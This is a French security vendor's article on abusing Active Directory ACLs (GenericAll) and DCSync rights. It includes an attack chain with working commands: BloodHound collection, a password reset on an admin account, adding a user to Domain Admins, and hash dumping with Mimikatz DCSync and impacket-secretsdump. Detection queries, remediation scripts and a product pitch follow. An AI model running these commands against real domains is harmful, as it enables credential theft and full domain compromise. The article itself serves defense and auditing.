Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin

Abus ACL et DCSync doit s'appuyer sur des preuves de production, une responsabilité claire et un processus de revue qui survive au prochain changement d'infrastructure.

Qu'est-ce que l'Abus d'ACL dans Active Directory ?

Les objets Active Directory — utilisateurs, groupes, ordinateurs, OUs, GPOs — ont tous des Access Control Lists (ACLs) qui définissent qui peut les lire, modifier ou contrôler. Quand ces ACLs sont mal configurées, elles créent des chemins d'escalade de privilèges silencieux qui contournent complètement les frontières de sécurité traditionnelles.

Les deux mauvaises configurations ACL les plus critiques sont GenericAll (contrôle total sur un objet) et les droits DCSync (la capacité de répliquer tous les hashes de mots de passe depuis un Contrôleur de Domaine). Les deux peuvent être détenus par des comptes qui n'ont aucune raison de les avoir — et les deux mènent directement à une compromission totale du domaine.

Contrairement aux exploits de vulnérabilités, l'abus d'ACL ne nécessite aucun CVE, aucun patch, et génère un minimum de logs.

Comment ca Fonctionne

Chaque objet AD a un Security Descriptor contenant une Discretionary ACL (DACL). Chaque entrée dans la DACL est un Access Control Entry (ACE) qui accorde ou refuse des droits spécifiques à un principal.

Quand un attaquant contrôle un compte avec des ACEs dangereuses sur des cibles de haute valeur, il peut :

• Réinitialiser les mots de passe de comptes privilégiés
• Ajouter des membres à des groupes privilégiés
• Modifier les attributs d'objets pour obtenir un accès supplémentaire
• Répliquer tous les credentials du domaine via DCSync

La Chaine d'Attaque

Etape 1 - Enumérer les ACLs Dangereuses

# BloodHound — collecte des données AD pour cartographier les ACLs
bloodhound-python -u [email protected] -p password -ns 10.10.0.1 -d corp.local -c All

# Trouver les comptes avec droits DCSync (comptes non-DC)
$dcsyncRights = @("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
                   "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")

Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
    $_.nTSecurityDescriptor.Access | Where-Object {
        $_.ObjectType -in $dcsyncRights -and
        $_.AccessControlType -eq "Allow" -and
        $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS"
    } | Select-Object @{N="Objet";E={$_.DistinguishedName}}, IdentityReference
}

Etape 2 - Exploiter GenericAll

Avec GenericAll sur un utilisateur, l'attaquant peut réinitialiser le mot de passe de cet utilisateur sans connaître le mot de passe actuel :

$secPwd = ConvertTo-SecureString "NouveauP@ss123!" -AsPlainText -Force
Set-ADAccountPassword -Identity "admincible" -Reset -NewPassword $secPwd

Avec GenericAll sur un groupe, l'attaquant peut s'y ajouter :

Add-ADGroupMember -Identity "Domain Admins" -Members "attaquant"

Etape 3 - Exploiter les Droits DCSync

Tout compte avec DS-Replication-Get-Changes-All peut effectuer une attaque DCSync :

# Mimikatz DCSync — dump de tous les hashes
lsadump::dcsync /domain:corp.local /all /csv

# Impacket depuis Linux
impacket-secretsdump -just-dc corp.local/compte_compromis:[email protected]

Etape 4 - Compromission Totale du Domaine

Avec le hash KRBTGT obtenu via DCSync, l'attaquant forge un Golden Ticket et obtient un accès illimité au domaine.

Détection

Event IDs Windows

Détection DCSync (Elastic KQL)

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*")

💡 Conseil : Tout compte non-DC déclenchant l'événement 4662 avec les GUIDs de réplication est un indicateur quasi-certain de DCSync. Alertez immédiatement sur ce signal.

Remédiation

⚠️ Priorité : Supprimez les droits DCSync des comptes non-DC immédiatement. C'est une mauvaise configuration à tolérance zéro.

Supprimer les Droits DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
    [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
    [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
)

$acl.Access | Where-Object {
    $_.ObjectType -in $replicationGuids -and
    $_.IdentityReference -notmatch "Domain Controllers"
} | ForEach-Object {
    $acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$domainDN" $acl

Durcir AdminSDHolder

L'objet AdminSDHolder propage son ACL vers tous les comptes protégés toutes les 60 minutes. Le durcir empêche l'abus persistant des ACEs :

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
(Get-Acl "AD:\$adminSDHolderDN").Access | Format-Table IdentityReference, ActiveDirectoryRights

Comment EtcSec Détecte Cela

EtcSec cartographie le graphe ACL complet de votre environnement Active Directory et identifie automatiquement les chemins de permissions dangereuses.

DCSYNC_CAPABLE identifie chaque compte non-DC détenant des droits DS-Replication-Get-Changes-All sur la racine du domaine.

ACL_GENERICALL signale les comptes avec des permissions GenericAll sur des cibles de haute valeur.

PATH_ACL_TO_DA identifie les chemins ACL multi-sauts où un compte peu privilégié peut atteindre Domain Admin.

ℹ️ Note : EtcSec audite automatiquement toutes les ACLs lors de chaque scan. Lancez un audit gratuit pour découvrir les chemins de permissions dangereuses dans votre environnement.

Articles connexes : Golden Ticket : Les Clés de Votre Domaine | Kerberoasting

Priorites de Revue

Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin doit etre traite comme une exposition reelle dans votre environnement Active Directory, pas comme un simple parametre isole. La premiere etape consiste a definir le vrai perimetre de revue : quels groupes privilegies, comptes de service, ACL, liens GPO, trusts, delegations, templates de certificats et postes d'administration sont concernes, quelles dependances metier existent, quels privileges sont exposes et quelles exceptions d'urgence ont ete ajoutees avec le temps. Ce cadrage evite une remediation superficielle, car le symptome technique est souvent plus petit que le rayon d'impact operationnel. En documentant le chemin complet entre configuration, privilege et usage reel, l'equipe peut prioriser des changements qui reduisent le risque sans bloquer l'activite.

Controles Adjacents a Revoir

Quand un attaquant arrive dans votre environnement Active Directory, il ne s'arrete presque jamais au premier point faible. Autour de Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin, il cherche en general a enchainer avec comptes privilegies obsoletes, imbrication dangereuse de groupes, delegations excessives, politiques de mot de passe faibles et abus d'ACL heritees. Cela signifie que la defense doit revoir non seulement la faiblesse principale, mais aussi toutes les dependances qui transforment un acces initial en persistance ou en escalation. Verifiez quelles identites, quels roles, quelles permissions et quelles hypotheses de confiance peuvent etre reutilises. Si le correctif ferme un seul objet mais laisse intactes les voies adjacentes, le risque reel change peu. Une revue des chaines d'abus est donc indispensable pour obtenir un resultat durable.

Preuves et telemetry a collecter

Une bonne reponse a Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin repose sur des preuves que l'ingenierie et la detection peuvent relire ensemble. Collectez Event IDs 4624, 4662, 4670, 4688, 4728, 4732, 4768, 4769, 5136, changements SYSVOL et activite des certificats, comparez les changements recents avec les fenetres de maintenance attendues et isolez les comptes ou objets qui ont change de comportement sans justification claire. Ces elements doivent permettre de repondre a trois questions simples : quand l'exposition est apparue, qui peut encore l'utiliser, et si des variantes similaires existent ailleurs dans votre environnement Active Directory. La collecte de preuves aide aussi a distinguer une dette technique ancienne d'un usage actif. Cette distinction est essentielle pour choisir le bon niveau d'urgence et la bonne sequence de remediation.

Faiblesses voisines a revoir

Tres peu d'environnements contiennent Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin seul. Dans la pratique, la meme zone du tenant ou de l'annuaire contient souvent aussi comptes privilegies obsoletes, imbrication dangereuse de groupes, delegations excessives, politiques de mot de passe faibles et abus d'ACL heritees, et ce sont ces faiblesses voisines qui determinent si l'exposition reste limitee ou devient critique. Revoyez les owners communs, les permissions heritees, les exceptions dupliquees et les raccourcis administratifs qui n'ont jamais ete retires. Verifiez si la meme logique de contournement a ete approuvee a plusieurs endroits, car cela revele souvent une faille de processus plus qu'un bug unique. Cette revue elargie donne une meilleure chance d'eliminer le chemin d'attaque complet.

Ordre de remediation recommande

Pour Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin, l'ordre de remediation doit privilegier la reduction de risque avant la perfection. Commencez par fermer les chemins qui augmentent le plus vite le privilege, puis verrouillez les objets ou identites a plus forte valeur, et ensuite seulement traitez les ecarts de hygiene secondaires. Utilisez tiering, nettoyage des delegations, revue ACL, hygiene des comptes de service, revue des permissions GPO et durcissement ADCS comme ensemble de controles cible. Chaque changement doit avoir un owner, une note de rollback et une etape de validation. Cette discipline evite que les programmes de correction s'arretent apres le premier gain technique. Si une refonte complete n'est pas possible tout de suite, formalisez des controles intermediaires et planifiez le travail structurel dans le prochain revue hebdomadaire des privileges et validation mensuelle des controles.

Validation apres chaque changement

Apres toute modification liee a Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin, validez le resultat sous deux angles : administration legitime et chemin d'attaque. Confirmez que les utilisateurs et systemes attendus continuent de fonctionner, puis prouvez que la voie dangereuse ne donne plus le meme levier. Rejouez la collecte sur Event IDs 4624, 4662, 4670, 4688, 4728, 4732, 4768, 4769, 5136, changements SYSVOL et activite des certificats, relisez les approbations et verifiez qu'aucun objet voisin ne conserve une voie de contournement. La validation doit aussi inclure une definition ecrite du succes, afin que tout le monde sache ce qui constitue une fermeture acceptable. Dans les equipes matures, un correctif n'est accepte que lorsque le chemin risque est ferme et que l'etat final correspond vraiment a l'objectif de durcissement.

Lectures Connexes

Pour traiter ce sujet correctement, reliez-le a Chemins d'Attaque AD : Mauvaises Configurations en Chaîne, Imbrication Dangereuse de Groupes AD : Chemins vers Domain Admin, Attaques de Confiance AD : Du Domaine Enfant à la Racine, Délégation Kerberos : Non Contrainte à RBCD et Mauvaises Configurations GPO : Vecteur d'Attaque AD. Cet ensemble montre comment les memes erreurs d'identite, de privileges et de configuration se combinent dans une revue reelle au lieu d'apparaitre comme des constats isoles.

• Chemins d'Attaque AD : Mauvaises Configurations en Chaîne
• Imbrication Dangereuse de Groupes AD : Chemins vers Domain Admin
• Attaques de Confiance AD : Du Domaine Enfant à la Racine
• Délégation Kerberos : Non Contrainte à RBCD
• Mauvaises Configurations GPO : Vecteur d'Attaque AD

Ces liens internes gardent la remediaton centree sur le chemin d'attaque complet et pas seulement sur un controle pris separement.

Questions a Trancher Avant la Validation Finale

Avant qu'une equipe considere un sujet identite comme vraiment traite, elle devrait pouvoir repondre a quelques questions simples avec des preuves concretes. Quel compte, quel groupe ou quel systeme reste aujourd'hui le chemin d'exception le plus sensible ? Quelle dependance operationnelle a empeche une remediation plus complete, et qui a accepte ce risque de facon explicite ? Quel controle compensatoire, quelle regle de supervision ou quelle frequence de revue couvre desormais l'exposition residuelle en production ? Ces questions comptent parce qu'une faiblesse d'identite revient souvent lorsque la note de remediaton est plus forte que la realite d'exploitation. Si l'organisation ne peut pas expliquer clairement le proprietaire, la dependance metier et la prochaine date de revue, le controle n'est generalement pas aussi stable qu'il en a l'air.

Preuves a Conserver pour la Revue Suivante

Les equipes les plus solides conservent juste assez de preuves pour rendre la revue suivante plus rapide et plus fiable. Cela inclut en general le proprietaire actuel de l'actif concerne, le changement de configuration exact qui a reduit le risque, la liste des exceptions encore acceptees et la preuve technique montrant que le nouvel etat est bien applique en production. Cette discipline est utile parce que les problemes d'identite et de privilege ne sont presque jamais des decouvertes uniques. Ils reviennent plutot via le turnover administrateur, la derive applicative ou des dependances historiques mal comprises au premier passage. En documentant a la fois la correction et la raison pour laquelle elle a ete acceptee, les equipes reduisent le risque de refaire la meme analyse a chaque cycle ou de reintroduire la meme faiblesse en corrigeant un autre sujet operationnel.

Abus ACL et DCSync : validation avant clôture

Une revue solide de Abus ACL et DCSync doit se terminer par des preuves de production, pas par l'hypothèse que le chemin risqué a disparu. Avant de clôturer le constat, revalidez les identités privilégiées, les délégations et les accès hérités, la portée réelle de la stratégie, de l'ACL, du groupe ou du GPO modifié et les logs ou la preuve de collecte liés au constat. Confirmez que l'état plus sûr s'applique bien au périmètre qui compte réellement : l'OU de production, l'attribution de rôle effective, le chemin applicatif ou le chemin de délégation et de confiance qu'un attaquant pourrait réellement exploiter. Documentez le propriétaire technique, la dépendance métier et la condition de retour arrière afin que le prochain cycle sache si l'état plus sûr a été maintenu.

Utilisez une checklist de clôture courte :

• vérifier que l'état risqué a disparu du point de vue attaquant, pas seulement dans une capture d'écran admin
• conserver un export avant/après ou un échantillon de log prouvant que la portée concernée a changé
• documenter le propriétaire et la décision d'exception si le contrôle ne peut pas être appliqué complètement

Pour les expositions adjacentes, recoupez le résultat avec Mauvaises Configurations GPO : Vecteur d'Attaque AD, Audit de sécurité Active Directory : checklist pratique, Chemins d'Attaque AD : Mauvaises Configurations en Chaîne, et AS-REP Roasting : Collecter des Hashes Sans Credentials. Le même défaut de contrôle réapparaît souvent dans des chemins d'identité voisins, des manques de journalisation ou des délégations trop larges, d'où l'importance de cette validation finale.

Abus ACL et DCSync : preuves à conserver pour le prochain cycle

Le prochain relecteur ne devrait pas avoir à reconstruire le dossier de mémoire. Conservez la preuve qui justifiait le constat initial, la preuve que le changement a été appliqué, et la note qui explique pourquoi l'état final est acceptable. Pour ce sujet, les preuves les plus utiles combinent généralement l'export courant des identités, groupes ou chemins délégués concernés, la preuve avant/après de la configuration ou du contrôle modifié et le ticket, le propriétaire et la note d'exception expliquant l'état final. Ce paquet compact accélère fortement les revues trimestrielles ou après changement et permet d'expliquer si le problème a été supprimé, réduit ou accepté formellement.

Si un changement d'admin, de politique ou d'application rouvre plus tard le chemin, cet historique permet aussi de démontrer précisément ce qui a dérivé. C'est ce qui transforme Abus ACL et DCSync en processus d'assurance répétable plutôt qu'en contrôle ponctuel.